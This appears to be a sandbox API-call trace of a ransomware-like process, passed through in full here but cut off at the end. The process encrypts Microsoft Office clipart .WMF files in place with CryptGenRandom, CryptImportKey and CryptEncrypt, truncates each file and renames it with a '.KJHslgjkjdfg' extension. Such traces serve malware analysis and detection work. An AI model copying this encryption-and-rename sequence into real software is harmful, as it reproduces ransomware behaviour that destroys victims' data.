[0218.474] CloseHandle (hObject=0x130) returned 1 [0218.474] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e038d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e038d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00246_.WMF", cAlternateFileName="")) returned 1 [0218.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00246_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.475] GetProcessHeap () returned 0x990000 [0218.475] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.475] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.475] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.475] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0218.478] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.478] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.478] GetProcessHeap () returned 0x990000 [0218.478] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.478] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.478] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.478] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.478] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.478] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.478] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.478] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.479] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.479] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.479] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.479] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.479] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xf74, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xf74, lpOverlapped=0x0) returned 1 [0218.479] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf80, dwBufLen=0xf80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf80) returned 1 [0218.479] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.479] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xf80, lpOverlapped=0x0) returned 1 [0218.479] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.479] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.479] SetEndOfFile (hFile=0x130) returned 1 [0218.480] GetProcessHeap () returned 0x990000 [0218.480] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.481] GetProcessHeap () returned 0x990000 [0218.481] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.481] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00246_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00246_.wmf.kjhslgjkjdfg")) returned 1 [0218.482] CloseHandle (hObject=0x130) returned 1 [0218.483] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cd26000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd26000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x15bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00253_.WMF", cAlternateFileName="")) returned 1 [0218.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00253_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.484] GetProcessHeap () returned 0x990000 [0218.484] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.484] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.484] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.484] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.486] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.486] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.486] GetProcessHeap () returned 0x990000 [0218.486] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.486] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.486] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.486] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.486] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.487] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.487] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.487] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.487] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.487] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.487] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.487] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.487] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x15bc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x15bc, lpOverlapped=0x0) returned 1 [0218.488] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x15c0, dwBufLen=0x15c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x15c0) returned 1 [0218.488] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.488] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x15c0, lpOverlapped=0x0) returned 1 [0218.488] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.488] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.488] SetEndOfFile (hFile=0x130) returned 1 [0218.491] GetProcessHeap () returned 0x990000 [0218.491] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.491] GetProcessHeap () returned 0x990000 [0218.491] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.491] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00253_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00253_.wmf.kjhslgjkjdfg")) returned 1 [0218.493] CloseHandle (hObject=0x130) returned 1 [0218.493] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64d4200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64d4200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1da8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00255_.WMF", cAlternateFileName="")) returned 1 [0218.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.494] GetProcessHeap () returned 0x990000 [0218.494] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.494] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.494] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.494] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.496] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.496] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.496] GetProcessHeap () returned 0x990000 [0218.496] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.496] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.496] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.496] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.496] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.496] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.496] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.497] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.497] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.497] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.497] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.497] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.497] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1da8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1da8, lpOverlapped=0x0) returned 1 [0218.501] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1db0, dwBufLen=0x1db0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1db0) returned 1 [0218.501] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.501] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1db0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1db0, lpOverlapped=0x0) returned 1 [0218.501] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.501] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.501] SetEndOfFile (hFile=0x130) returned 1 [0218.503] GetProcessHeap () returned 0x990000 [0218.503] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.503] GetProcessHeap () returned 0x990000 [0218.503] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.503] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00255_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00255_.wmf.kjhslgjkjdfg")) returned 1 [0218.505] CloseHandle (hObject=0x130) returned 1 [0218.505] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84184a00, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84184a00, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0x7dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00330_.WMF", cAlternateFileName="")) returned 1 [0218.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00330_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.507] GetProcessHeap () returned 0x990000 [0218.507] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.507] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.507] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.507] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.509] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.509] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.509] GetProcessHeap () returned 0x990000 [0218.509] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.509] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.509] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.509] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.509] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.510] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.510] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.510] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.510] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.510] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.510] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.510] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.510] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7dc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7dc, lpOverlapped=0x0) returned 1 [0218.510] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7e0, dwBufLen=0x7e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7e0) returned 1 [0218.510] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.510] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7e0, lpOverlapped=0x0) returned 1 [0218.510] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.510] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.510] SetEndOfFile (hFile=0x130) returned 1 [0218.514] GetProcessHeap () returned 0x990000 [0218.514] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.514] GetProcessHeap () returned 0x990000 [0218.514] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.514] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00330_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00330_.wmf.kjhslgjkjdfg")) returned 1 [0218.516] CloseHandle (hObject=0x130) returned 1 [0218.531] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf72, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00411_.WMF", cAlternateFileName="")) returned 1 [0218.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00411_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.533] GetProcessHeap () returned 0x990000 [0218.533] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.533] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.533] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.533] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: 